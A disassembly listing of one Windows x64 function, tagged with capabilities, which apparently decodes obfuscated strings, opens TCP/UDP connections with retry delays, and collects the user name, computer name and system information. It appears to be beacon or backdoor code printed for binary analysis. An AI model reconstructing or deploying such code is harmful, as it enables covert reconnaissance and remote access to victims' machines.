Function at 0x140001d20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get hostname
Get session user name
Get system information on windows
Parse pe header
Receive data
Receive data on socket
Resolve function by parsing pe exports
Send data
Send data on socket
Set socket configuration

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x258
movdqa xmmword [rsp + 0x240], xmm11
movdqa xmmword [rsp + 0x230], xmm10
movdqa xmmword [rsp + 0x220], xmm9
movdqa xmmword [rsp + 0x210], xmm8
movdqa xmmword [rsp + 0x200], xmm7
movaps xmmword [rsp + 0x1f0], xmm6
lea rax, [0x14001a2a9]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
movabs rdx, 0x68b69ef891a9b1d3
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0x60]
call fcn.140001a90
movabs rcx, 0x51ab1ab11136eee4
xor rcx, qword [rax]
mov edx, 0x6d595a2f
xor edx, dword [rax + 8]
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 1
xor r9b, 0xbd
movzx eax, al
movzx r9d, r9b
shl r9d, 8
or r9d, eax
xor r8b, 0x8f
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], edx
mov word [rsp + 0x3c], r9w
mov byte [rsp + 0x3e], r8b
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
mov r8d, recv
call fcn.140011450
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140001e50
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov r12, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x58], rax
cmp r12, rax
jne 0x140001e54
cmp qword [rsp + 0x50], 0
je 0x140001e50
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_HeapFree]
ud2
xor r15d, r15d
jmp 0x140001e96
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r15
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
shl rbp, 0x20
or rbp, 2
add r12, 0x20
mov r15, rbp
cmp r12, qword [rsp + 0x58]
je 0x140001e31
movzx ebx, word [r12]
cmp bx, 2
je 0x140001e31
mov esi, dword [r12 + 0x14]
mov ebp, dword [r12 + 0x18]
movzx r13d, word [r12 + 0x1c]
movzx eax, word [r12 + 0x12]
mov word [rsp + 0xe0], ax
movdqu xmm0, xmmword [r12 + 2]
movdqa xmmword [rsp + 0xd0], xmm0
mov rax, qword [0x140030ad0]
cmp rax, 3
je 0x140001eed
mov rax, qword [0x140030ad0]
cmp rax, 3
jne 0x1400020b6
test bx, bx
mov r14d, 0x17
mov eax, 2
cmove r14d, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, r14d
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001f50
test bx, bx
je 0x140001fd0
mov r8d, 0x1c
mov ax, 0x17
movdqu xmm0, xmmword [rsp + 0xd2]
jmp 0x140001fee
mov dword [rsp + 0xc8], ebp
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x140001f71
mov ebp, eax
cmp eax, 0x2726
jne 0x14000204a
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, r14d
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x14000209c
mov rdi, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1400020ae
mov ebp, dword [rsp + 0xc8]
test bx, bx
jne 0x140001f35
nop dword [rax + rax]
movzx r13d, word [rsp + 0xd4]
mov esi, dword [rsp + 0xd0]
mov r8d, reloc.WS2_32.dll_recv
mov ax, 2
pxor xmm0, xmm0
lea rbx, [rsp + 0x60]
rol r13w, 8
mov word [rsp + 0x60], ax
mov word [rsp + 0x62], r13w
mov dword [rsp + 0x64], esi
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], ebp
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x140002039
mov rcx, rdi
mov edx, 0x80
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x1400020fe
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
test r15, r15
je 0x140001e80
mov eax, r15d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140001e80
test rax, rax
je 0x140001e80
mov rdi, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140001e6b
cmp qword [rsi + 0x10], 0x11
jb 0x140001e59
mov rdi, qword [rdi - 8]
jmp 0x140001e59
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
test r15, r15
jne 0x140002053
jmp 0x140001e80
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000203f
lea rax, [0x140030ad8]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x140], rax
lea rcx, [0x140030ad0]
mov dl, 1
lea r8, [rsp + 0x140]
lea r9, [0x140024568]
call fcn.140021970
jmp 0x140001eed
cmp qword [rsp + 0x50], 0
je 0x14000211d
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
je 0x14000217e
mov eax, r15d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x14000217e
test rax, rax
je 0x14000217e
lea rdi, [r15 - 1]
mov r14, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000216c
cmp qword [rsi + 0x10], 0x11
jb 0x14000215a
mov r14, qword [r14 - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
xorps xmm6, xmm6
movdqa xmm7, xmmword [0x140023480]
pcmpeqd xmm8, xmm8
movdqa xmm9, xmmword [0x140023470]
jmp 0x1400021b4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [0x14001bb08]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
movabs rax, 0x474286bcdc6baaab
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
call fcn.140001a40
mov rcx, qword [rax]
movabs rdx, 0x40d724507f587695
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x404eee5c2ff3b9be
xor rdx, r8
mov r8d, dword [rax + 0x10]
mov r9d, 0x2d21335e
xor r8d, r9d
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0x9b
shr eax, 8
xor al, 0x29
movzx r9d, r9b
movzx eax, al
shl eax, 8
or eax, r9d
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov dword [rsp + 0xe0], r8d
mov word [rsp + 0xe4], ax
mov r8d, 0x16
mov rcx, rbx
lea rdx, [rsp + 0xd0]
call fcn.140011450
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140002530
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov rbx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x58], rax
cmp rbx, rax
je 0x140002550
xor r15d, r15d
jmp 0x1400022ea
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r15
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
shl rbp, 0x20
or rbp, 2
add rbx, 0x20
mov r15, rbp
cmp rbx, qword [rsp + 0x58]
je 0x140002552
movzx esi, word [rbx]
cmp si, 2
je 0x1400026ba
mov r12d, dword [rbx + 0x14]
mov ebp, dword [rbx + 0x18]
movzx r14d, word [rbx + 0x1c]
movzx eax, word [rbx + 0x12]
mov word [rsp + 0x40], ax
movdqu xmm0, xmmword [rbx + 2]
movdqa xmmword [rsp + 0x30], xmm0
mov rax, qword [0x140030ad0]
cmp rax, 3
je 0x140002335
mov rax, qword [0x140030ad0]
cmp rax, 3
jne 0x1400024dc
test si, si
mov edi, 0x17
mov eax, 2
cmove edi, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, edi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140002390
test si, si
je 0x140002410
mov r8d, 0x1c
mov ax, 0x17
movdqu xmm0, xmmword [rsp + 0x32]
jmp 0x140002429
mov dword [rsp + 0xc8], ebp
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x1400023b1
mov ebp, eax
cmp eax, 0x2726
jne 0x140002470
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, edi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1400024c2
mov r13, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1400024d4
mov ebp, dword [rsp + 0xc8]
test si, si
jne 0x14000237a
nop word [rax + rax]
movzx r14d, word [rsp + 0x34]
mov r12d, dword [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_recv
mov ax, 2
pxor xmm0, xmm0
rol r14w, 8
mov word [rsp + 0x60], ax
mov word [rsp + 0x62], r14w
mov dword [rsp + 0x64], r12d
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], ebp
mov rcx, r13
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400026ce
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
test r15, r15
je 0x1400022d0
mov eax, r15d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400022d0
test rax, rax
je 0x1400022d0
mov rdi, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400022ae
cmp qword [rsi + 0x10], 0x11
jb 0x14000229c
mov rdi, qword [rdi - 8]
jmp 0x14000229c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
test r15, r15
jne 0x140002479
jmp 0x1400022d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140002465
lea rax, [0x140030ad8]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x140], rax
lea rcx, [0x140030ad0]
mov dl, 1
lea r8, [rsp + 0x140]
lea r9, [0x140024568]
call fcn.140021970
jmp 0x140002335
mov rbp, qword [rsp + 0x68]
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x1400025ad
jmp 0x140002597
xor ebp, ebp
cmp qword [rsp + 0x50], 0
je 0x140002571
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbp, rbp
lea rax, str.could_not_resolve_to_any_addresses
cmove rbp, rax
lea rbx, [rsp + 0x60]
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x1400025ad
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rax], rbp
mov rdi, qword [r15]
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x14000262b
test rax, rax
je 0x14000262b
mov r12, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, r12
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140002616
cmp qword [rsi + 0x10], 0x11
jb 0x140002604
mov r12, qword [r12 - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x1400021a9
mov rdi, rax
mov qword [rsp + 0x60], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
je 0x1400021a0
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebp, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, 0xffffffff
jne 0x1400021b4
jmp 0x1400021a9
mov rbp, r15
cmp qword [rsp + 0x50], 0
jne 0x14000255a
jmp 0x140002571
cmp qword [rsp + 0x50], 0
je 0x1400026ed
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
lea rbx, [rsp + 0x60]
je 0x140002752
mov eax, r15d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140002752
test rax, rax
je 0x140002752
mov rdi, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000273d
cmp qword [rsi + 0x10], 0x11
jb 0x14000272b
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r15
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rsp + 0x60], 0x1b7740
mov dword [rsp + 0x20], 4
mov rcx, r13
mov edx, 0xffff
mov r8d, 0x1006
mov r9, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400028c0
mov qword [rsp + 0xc0], r13
lea rax, [0x140022635]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
movabs rax, 0x3b962052d4463692
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
call fcn.140001b50
mov ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x46
shr eax, 8
xor al, 0xf2
movzx edx, dl
movzx eax, al
shl eax, 8
or eax, edx
xor rcx, 0x7517c449
mov dword [rsp + 0xd0], ecx
mov word [rsp + 0xd4], ax
mov esi, 6
mov rdi, qword [rsp + 0xc0]
lea r15, [rsp + 0xd0]
nop word [rax + rax]
cmp rsi, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, rsi
mov rcx, rdi
mov rdx, r15
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140002921
test eax, eax
je 0x140002946
cdqe
cmp rsi, rax
jb 0x140001e50
add r15, rax
sub rsi, rax
jne 0x140002800
mov dword [rsp + 0x180], 0
xor ecx, ecx
lea rdx, [rsp + 0x180]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x140001e50
mov esi, dword [rsp + 0x180]
test rsi, rsi
je 0x14000299b
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x1400028a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
lea r8, [rsi + rsi]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
jne 0x1400029a0
jmp 0x140001e50
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x1400028f1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
shl rdi, 0x20
or rdi, 2
mov qword [rax], rdi
mov rcx, r13
jmp 0x140003673
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140002976
jmp 0x140002960
lea rdi, [0x140024520]
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140002976
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov r15, rax
mov qword [rax], rdi
jmp 0x14000366b
mov ebp, 2
mov dword [rsp + 0x180], esi
mov rcx, rbp
lea rdx, [rsp + 0x180]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x1400029dd
mov r8d, dword [rsp + 0x180]
test r8, r8
je 0x140002d6a
dec r8
mov rcx, rbx
mov rdx, rbp
call fcn.14000e7f0
jmp 0x140002a4d
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140002a06
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 7
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e75
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x70], 7
mov byte [rsp + 0x78], 1
test esi, esi
je 0x140002a5f
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.140012b60
mov dword [rsp + 0xd0], 0
mov ecx, 1
xor edx, edx
lea r8, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x140001e50
mov esi, dword [rsp + 0xd0]
test rsi, rsi
je 0x140002ae5
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140002ac9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
lea r8, [rsi + rsi]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x140002aea
jmp 0x140001e50
mov edi, 2
mov dword [rsp + 0xd0], esi
mov ecx, 1
mov rdx, rdi
lea r8, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x140002c8b
mov r8d, dword [rsp + 0xd0]
mov rcx, rbx
mov rdx, rdi
call fcn.14000e7f0
test esi, esi
je 0x140002b38
mov rcx, qword [0x140030ac8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0xd0]
mov rdx, rbx
call fcn.140012b60
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r13d, dword [rsp + 0x80]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xc8], rax
mov r12, qword [rsp + 0x40]
mov r14, qword [rsp + 0xd0]
mov rbp, qword [rsp + 0xd8]
mov r15, qword [rsp + 0xe0]
mov eax, 1
mov edi, 1
cmp r12, 0xfb
jb 0x140002bd4
mov edi, 3
cmp r12, 0x10000
jb 0x140002bd4
xor ecx, ecx
mov rdx, r12
shr rdx, 0x20
setne cl
lea rdi, [rcx*4 + 5]
cmp r15, 0xfb
jb 0x140002bff
mov eax, 3
cmp r15, 0x10000
jb 0x140002bff
xor eax, eax
mov rcx, r15
shr rcx, 0x20
setne al
lea rax, [rax*4 + 5]
xor ecx, ecx
cmp r13d, 0x10000
setae cl
cmp r13d, 0xfb
lea rcx, [rcx + rcx + 3]
mov edx, 1
cmovb rcx, rdx
add rdi, r12
add rdi, r15
add rdi, rax
add rdi, rcx
add rdi, 2
je 0x140002d04
js 0x140001e50
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140002c65
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdi
jmp 0x1400030c5
movzx eax, byte [0x140030af8]
mov rax, qword [0x140030ac8]
test rax, rax
jne 0x140002cb4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140001e50
mov qword [0x140030ac8], rax
mov r8d, 7
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e50
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x70], 7
mov byte [rsp + 0x78], 1
test esi, esi
jne 0x140002b26
jmp 0x140002b38
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x68], 0
mov edx, 1
mov r8d, 8
lea rcx, [rsp + 0xd0]
mov r9, rbx
call fcn.1400018c0
cmp qword [rsp + 0xd0], 0
mov rcx, qword [rsp + 0xd8]
je 0x1400030b4
mov eax, 1
movabs rdx, 0x8000000000000001
cmp rcx, rdx
je 0x1400030c5
jmp 0x14000608b
mov qword [rsp + 0x120], rsi
mov al, 1
mov dword [rsp + 0x50], eax
mov eax, 1
mov qword [rsp + 0x58], rax
xor r14d, r14d
xor r12d, r12d
xor esi, esi
mov r13, rbp
jmp 0x140002daf
lea rbx, [r12 + rdi]
add r12, qword [rsp + 0x58]
mov rcx, r12
lea rdx, [rsp + 0x140]
mov r8, rdi
call fcn.140013b60
mov r12, rbx
test si, si
je 0x140002df0
movzx eax, word [rsp + 0xc8]
mov ecx, eax
mov eax, ecx
and eax, 0xf800
cmp eax, 0xd800
jne 0x140002e15
movzx eax, cx
cmp eax, 0xdbff
jbe 0x140002ea0
xor esi, esi
mov dword [rsp + 0x50], 0
jmp 0x140002e22
cmp r13, rbp
lea rbx, [rsp + 0x60]
je 0x14000306c
movzx ecx, word [r13]
add r13, 2
mov eax, ecx
and eax, 0xf800
cmp eax, 0xd800
je 0x140002dcc
movzx eax, cx
shl rax, 0x10
shr rax, 0x10
xor esi, esi
mov dword [rsp + 0x140], 0
cmp eax, 0x80
jae 0x140002e60
mov byte [rsp + 0x140], al
mov edi, 1
mov rax, r14
sub rax, r12
cmp rax, rdi
jae 0x140002d90
jmp 0x140002f90
mov ecx, eax
cmp eax, 0x800
jae 0x140002ef0
shr ecx, 6
or cl, 0xc0
mov byte [rsp + 0x140], cl
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x141], al
mov edi, 2
mov rax, r14
sub rax, r12
cmp rax, rdi
jae 0x140002d90
jmp 0x140002f90
cmp r13, rbp
je 0x14000302f
movzx edx, word [r13]
add r13, 2
mov r8d, edx
add r8d, 0x2000
movzx r8d, r8w
mov si, 1
cmp r8d, 0xfc00
jae 0x140003041
mov ecx, edx
mov word [rsp + 0xc8], dx
mov dword [rsp + 0x50], 0
jmp 0x140002e22
cmp eax, 0xffff
ja 0x140002f37
shr ecx, 0xc
or cl, 0xe0
mov byte [rsp + 0x140], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rsp + 0x141], cl
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x142], al
mov edi, 3
mov rax, r14
sub rax, r12
cmp rax, rdi
jae 0x140002d90
jmp 0x140002f90
shr ecx, 0x12
or cl, 0xf0
mov byte [rsp + 0x140], cl
mov ecx, eax
shr ecx, 0xc
and cl, 0x3f
or cl, 0x80
mov byte [rsp + 0x141], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rsp + 0x142], cl
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x143], al
mov edi, 4
mov rax, r14
sub rax, r12
cmp rax, rdi
jae 0x140002d90
nop word [rax + rax]
mov rbx, r12
add rbx, rdi
jb 0x140001e50
lea r15, [r14 + r14]
cmp r15, rbx
cmovbe r15, rbx
cmp r15, 9
jae 0x140002fb3
mov r15d, 8
test r14, r14
je 0x140002fd4
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xe0], r14
mov eax, 1
jmp 0x140002fd6
xor eax, eax
mov rdx, r15
not rdx
shr rdx, 0x3f
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x30]
mov r8, r15
lea r9, [rsp + 0xd0]
call fcn.14000da00
cmp qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x38]
je 0x140003022
movabs rcx, 0x8000000000000001
cmp rax, rcx
je 0x140002d94
jmp 0x140006084
mov qword [rsp + 0x58], rax
mov r14, r15
jmp 0x140002d94
xor esi, esi
mov r13, rbp
mov dword [rsp + 0x50], 0
jmp 0x140002e22
movzx eax, dx
and ecx, 0x3ff
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
movabs rcx, 0x100000000
add rax, rcx
jmp 0x140002e1c
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r12
mov eax, dword [rsp + 0x50]
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0xd0]
mov ecx, dword [rsp + 0xd3]
lea rdx, [rsp + 0x68]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
cmp dword [rsp + 0x120], 0
jne 0x140002a4d
jmp 0x140002a5f
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 8
mov rax, rcx
mov byte [rax], 1
mov qword [rsp + 0x40], 1
mov rcx, rbx
mov rdx, r12
lea r8, [rsp + 0x30]
call fcn.140001b70
mov rsi, qword [rsp + 0x60]
cmp rsi, 8
jne 0x140003239
mov rax, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rcx, rax
sub rcx, rsi
cmp rcx, r12
jae 0x14000319d
mov rdi, rsi
add rdi, r12
jb 0x140001e50
lea rcx, [rax + rax]
cmp rcx, rdi
cmova rdi, rcx
cmp rdi, 9
mov ecx, 8
cmovb rdi, rcx
test rax, rax
je 0x140003148
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x70], rax
mov eax, 1
jmp 0x14000314a
xor eax, eax
mov rdx, rdi
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xd0]
mov r8, rdi
mov r9, rbx
call fcn.1400018c0
cmp qword [rsp + 0xd0], 0
mov rax, qword [rsp + 0xd8]
je 0x140003193
movabs rcx, 0x8000000000000001
cmp rax, rcx
je 0x14000319d
jmp 0x140006084
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdi
mov rcx, qword [rsp + 0x30]
add rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, r12
call fcn.140013b60
add rsi, r12
mov qword [rsp + 0x40], rsi
mov rcx, rbx
mov rdx, r15
lea r8, [rsp + 0x30]
call fcn.140001b70
mov rsi, qword [rsp + 0x60]
cmp rsi, 8
jne 0x140003239
